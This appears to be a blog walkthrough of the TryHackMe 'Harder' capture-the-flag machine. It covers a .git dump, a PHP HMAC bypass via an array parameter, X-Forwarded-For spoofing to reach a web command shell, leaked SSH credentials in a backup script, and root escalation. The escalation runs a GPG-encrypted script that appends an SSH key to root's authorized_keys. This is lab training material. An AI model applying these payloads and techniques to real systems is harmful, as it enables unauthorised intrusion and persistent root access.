TryHackMe | Harder Write Up

Introduction

Task 1:

Port Scan

$ nmap -sC -sV <ip>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.3 (protocol 2.0)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Error

PORT 80

GOBUSTER

$ gobuster dir -u http://10.10.149.170/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.149.170/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2020/08/17 12:02:15 Starting gobuster
===============================================================
Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.149.170/e1e7c995-4c41-444a-a052-d5bd9bfef79d => 200. To force processing of Wildcard responses, specify the '--wildcard' switch

Analyzing request over Burp Suite


GET / HTTP/1.1
Host: 10.10.149.170
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Connection: close
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Mon, 17 Aug 2020 06:27:20 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/7.3.19
Set-Cookie: TestCookie=just+a+test+cookie; expires=Mon, 17-Aug-2020 07:27:20 GMT; Max-Age=3600; path=/; domain=pwd.harder.local; secure
Content-Length: 1985
10.10.149.170   pwd.harder.local

Visiting pwd.harder.local

Running Gobuster on this site.

$ gobuster dir -u http://pwd.harder.local/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php/index.php
/auth.php
/secret.php
$ /opt/git-dumper/git-dumper.py http://pwd.harder.local/ git-src[-] Testing http://pwd.harder.local/.git/HEAD [200]                                                                                                                             
[-] Testing http://pwd.harder.local/.git/ [403]
.......
.......
[-] Fetching http://pwd.harder.local/.git/objects aa/938abf60c64cdb2d37d699409f77427c1b3826 [200]
[-] Fetching http://pwd.harder.local/.git/objects/be/c719ffb34ca3d424bd170df5f6f37050d8a91c [200]
[-] Running git checkout .

Downloaded files and folders

$ ls -an git-src/
total 48
drwxr-xr-x 3 1000 1000 4096 Aug 17 12:29 .
drwxr-xr-x 9 1000 1000 4096 Aug 17 12:29 ..
-rw-r--r-- 1 1000 1000 23820 Aug 17 12:29 auth.php
drwxr-xr-x 7 1000 1000 4096 Aug 17 12:29 .git
-rw-r--r-- 1 1000 1000 27 Aug 17 12:29 .gitignore
-rw-r--r-- 1 1000 1000 431 Aug 17 12:29 hmac.php
-rw-r--r-- 1 1000 1000 608 Aug 17 12:29 index.php

Content inside index.php

<?php
session_start();
require("auth.php");
$login = new Login;
$login->authorize();
require("hmac.php");
require("credentials.php");
?>
<table style="border: 1px solid;">
<tr>
<td style="border: 1px solid;">url</td>
<td style="border: 1px solid;">username</td>
<td style="border: 1px solid;">password (cleartext)</td>
</tr>
<tr>
<td style="border: 1px solid;"><?php echo $creds[0]; ?></td>
<td style="border: 1px solid;"><?php echo $creds[1]; ?></td>
<td style="border: 1px solid;"><?php echo $creds[2]; ?></td>
</tr>
</table>

Contents inside auth.php

<?php                                                                                                                                                                           define('LOGIN_USER', "admin");                                                                                                                                                  define('LOGIN_PASS', "admin");

Contents inside hmac.php

<?php
if (empty($_GET['h']) || empty($_GET['host'])) {
header('HTTP/1.0 400 Bad Request');
print("missing get parameter");
die();
}
require("secret.php"); //set $secret var
if (isset($_GET['n'])) {
$secret = hash_hmac('sha256', $_GET['n'], $secret);
}
$hm = hash_hmac('sha256', $_GET['host'], $secret);
if ($hm !== $_GET['h']){
header('HTTP/1.0 403 Forbidden');
print("extra security check failed");
die();
}
?>
php> $secret = hash_hmac('sha256', Array(), "SecretKey");
php> echo $secret == false
1
/?n[]=&host=securify.nl&h=c8ef9458af67da9c9086078ad3acc8ae71713af4e27d35fd8d02d0078f7ca3f5
url:http://shell.harder.htb
username:evs
password:<password>
10.10.149.170   pwd.harder.local shell.harder.htb

Shell.harder.htb

$ gobuster dir -u http://shell.harder.htb/ -w /opt/SecLists-master/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt  --wildcard
$ wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://shell.harder.htb/FUZZ.php000000001:   200        73 L     166 W    1985 Ch     "index"                                                                                                        
000000002: 200 959 L 5171 W 86626 Ch "phpinfo"
GET /index.php?§cmd§=ls%20-la%20/ HTTP/1.1
Host: shell.harder.htb
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Connection: close
/opt/SecLists-master/Discovery/Web-Content/burp-parameter-names.txt
10.10.149.170   pwd.harder.local shell.harder.htb shell.harder.local

Shell.harder.local

Intercepting the request with burp

POST /index.php HTTP/1.1
Host: shell.harder.local
Content-Length: 63
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://shell.harder.local
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://shell.harder.local/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: PHPSESSID=4ruidq12b5nl2hegfdkgpckep8
Connection: close
action=set_login&user=evs&pass=<password>
POST /index.php HTTP/1.1
Host: shell.harder.local
Content-Length: 63
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://shell.harder.local
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 10.10.10.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://shell.harder.local/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ne;q=0.8
Cookie: PHPSESSID=4ruidq12b5nl2hegfdkgpckep8
Connection: close
action=set_login&user=evs&pass=<password>
<div class="container"><div class="pb-2 mt-4 mb-2">
<h2> Execute a command </h2>
</div>
<form method="POST">
<div class="form-group">
<label for="cmd"><strong>Command</strong></label>
<input type="text" class="form-control" name="cmd" id="cmd" value="" required>

</div>
<button type="submit" class="btn btn-primary">Execute</button>
</form>
<div class="pb-2 mt-4 mb-2">
<h2> Output </h2>
</div>
<pre><small>No result.</small></pre>
</div>
action=set_login&user=evs&pass=<password>&cmd=ls -la
total 44
drwxr-xr-x 1 www www 4096 Oct 3 2019 .
drwxr-xr-x 1 www www 4096 Jul 7 22:28 ..
-rw-r--r-- 1 www www 23838 Oct 3 2019 auth.php
-rw-r--r-- 1 www www 2014 Oct 3 2019 index.php
-rw-r--r-- 1 www www 275 Oct 3 2019 ip.php
drwxr-xr-x 4 www www 4096 Oct 3 2019 vendor
action=set_login&user=evs&pass=<password>&cmd=find / -type f -name "*.sh" 2>/dev/null
/usr/bin/findssl.sh
/usr/local/bin/run-crypted.sh
/etc/periodic/15min/evs-backup.sh
/dev/shm/linpeas.sh

File contents

action=set_login&user=evs&pass=<password>&cmd=cat /etc/periodic/15min/evs-backup.sh
#!/bin/ash# ToDo: create a backup script, that saves the /www directory to our internal server
# for authentication use ssh with user &quot;evs&quot; and password &quot;<password-redacted>&quot;
$ ssh evs@10.10.171.102
evs@10.10.171.102's password: <password>
Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org/>.
You can setup the system with the command: setup-alpineYou may change this message by editing /etc/motd.harder:~$

Privilage Escalation

$ scp linpeas.sh evs@10.10.171.102:/dev/shm/linpeas.sh
evs@10.10.171.102's password:
linpeas.sh
$ sh /dev/shm/linpeas.sh
-rwsr-x--- 1 root evs /usr/local/bin/execute-crypted
-rwxr-x--- 1 root evs /usr/local/bin/run-crypted.sh
-rwxr-x--- 1 root evs /var/backup/root@harder.local.pub
harder:/dev/shm$ /usr/local/bin/execute-crypted 
[*] Current User: root
[-] This program runs only commands which are encypted for root@harder.local using gpg.
[-] Create a file like this: echo -n whoami > command
[-] Encrypt the file and run the command: execute-crypted command.gpg
harder:/dev/shm$
  • It is currently running as root.
  • It runs files which are encrypted for root@harder.local and files can be executed as execute-crypted <encrypted-file.gpg>
harder:/dev/shm$ gpg --list-keys
harder:/dev/shm$

Content of /var/backup/root@harder.local.pub

-----BEGIN PGP PUBLIC KEY BLOCK-----mDMEXwTf8RYJKwYBBAHaRw8BAQdAkJtb3UCYvPmb1/JyRPADF0uYjU42h7REPlOK
AbiN88i0IUFkbWluaXN0cmF0b3IgPHJvb3RAaGFyZGVyLmxvY2FsPoiQBBMWCAA4
FiEEb5liHk1ktq/OVuhkyR1mFZRPaHQFAl8E3/ECGwMFCwkIBwIGFQoJCAsCBBYC
AwECHgECF4AACgkQyR1mFZRPaHSt8wD8CvJLt7qyCXuJZdOBPR+X7GI2dUg0DRRu
c5gXzwk3rMMA/0JK6ZwZCHObWjwX0oLc3jvOCgQiIdaPq1WqN9/fhLAKuDgEXwTf
8RIKKwYBBAGXVQEFAQEHQNa/To/VntzySOVdvOCW+iGscTLlnsjOmiGaaWvJG14O
AwEIB4h4BBgWCAAgFiEEb5liHk1ktq/OVuhkyR1mFZRPaHQFAl8E3/ECGwwACgkQ
yR1mFZRPaHTMLQD/cqbV4dMvINa/KxATQDnbaln1Lg0jI9Jie39U44GKRIEBAJyi
+2AO+ERYahiVzkWwTEoUpjDJIv0cP/WVzfTvPk0D
=qaa6
-----END PGP PUBLIC KEY BLOCK-----

Importing the key

harder:/dev/shm$ gpg --import /var/backup/root@harder.local.pub 
gpg: key C91D6615944F6874: public key "Administrator <root@harder.local>" imported
gpg: Total number processed: 1
gpg: imported: 1
harder:/dev/shm$ gpg --list-keys
/home/evs/.gnupg/pubring.kbx
----------------------------
pub ed25519 2020-07-07 [SC]
6F99621E4D64B6AFCE56E864C91D6615944F6874
uid [ unknown] Administrator <root@harder.local>
sub cv25519 2020-07-07 [E]
harder:/dev/shm$

Creating payload

$ ssh-keygen -f root
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in root.
Your public key has been saved in root.pub.
#!/bin/sh
mkdir /root/.ssh/
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4naClwknGPG6EXz29MFZEEO1/4n7uo6GiOC/5eh8xDFgmUjulNxcVREUiEGEB+KrE3W7ZHQ+spri9JhcZ7QRK5cEq1HfbdcXLJEPgDimkeG1wktsOYlg4Xj1pjZOGzPVj0SAO8QZmEfiiB7aYsDYXK2z3bM1rjcdgB48CWFwCd7gMwFgoDCqsWDCfQsSlaXl459y3xdYfSfb1ZPszQlOohWKWANdqwZTHGtHybuGLtb1gbeg5z55gx1C7OBeYIWkYCR0zVzLzwJem1UaLOPsWvvg4mzSdOVSB//dL/T87yQkt2Pv6dDw8zvuAlaXIbFOw02uBobIIYVpJVtrUC47yNMBFSpAfPIZX/IpN8XgRhRr5imBCH2N8u3zMYhgBb6yUKS0cR55SJUzdojNi+s0X0pJeNtKiWB4Q3at3pHe/KffkGBZfEJ/98GIig6arVWw3z/5tRDhePhrpIlGG1nPtAN6NruC3Sap5YfJAmSiQEcQqMFAqlsoTYxTY4RE1Cqc=" >>/root/.ssh/authorized_keys
harder:/dev/shm$ gpg -e -r "Administrator" commands 
gpg: 6C1C04522C049868: There is no assurance this key belongs to the named user
sub cv25519/6C1C04522C049868 2020-07-07 Administrator <root@harder.local>
Primary key fingerprint: 6F99 621E 4D64 B6AF CE56 E864 C91D 6615 944F 6874
Subkey fingerprint: E51F 4262 1DB8 87CB DC36 11CD 6C1C 0452 2C04 9868
It is NOT certain that the key belongs to the person named
in the user ID. If you *really* know what you are doing,
you may answer the next question with yes.
Use this key anyway? (y/N) y
harder:/dev/shm$

Execution

harder:/dev/shm$ /usr/local/bin/execute-crypted /dev/shm/commands.gpg 
gpg: encrypted with 256-bit ECDH key, ID 6C1C04522C049868, created 2020-07-07
"Administrator <root@harder.local>"
harder:/dev/shm$

Now lets try to ssh from our box

$ ssh -i root root@10.10.171.102
Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org/>.
You can setup the system with the command: setup-alpineYou may change this message by editing /etc/motd.harder:~#

--

--

--

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

REST API Guidelines at Feedzai

My Journey from RxSwift to Combine

Rejuvenating QR Codes

Training Tracker Assistant is a program that adds a menu to a Google Sheets file with four items…

Go Walkthrough: strconv

Top App Developers Interview: Cubix

Dependency injection — How it helps testing?

Effective Ways of Optimizing Tableau Performance and Building Interactive Dashboards

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Shishir Subedi

Shishir Subedi

More from Medium

[ Try Hack Me ] Regular expressions

3 Types of Security Testing for Web and Mobile Applications

Lsass.exe Dump methods

My Journey Through SANS SEC542 & GWAPT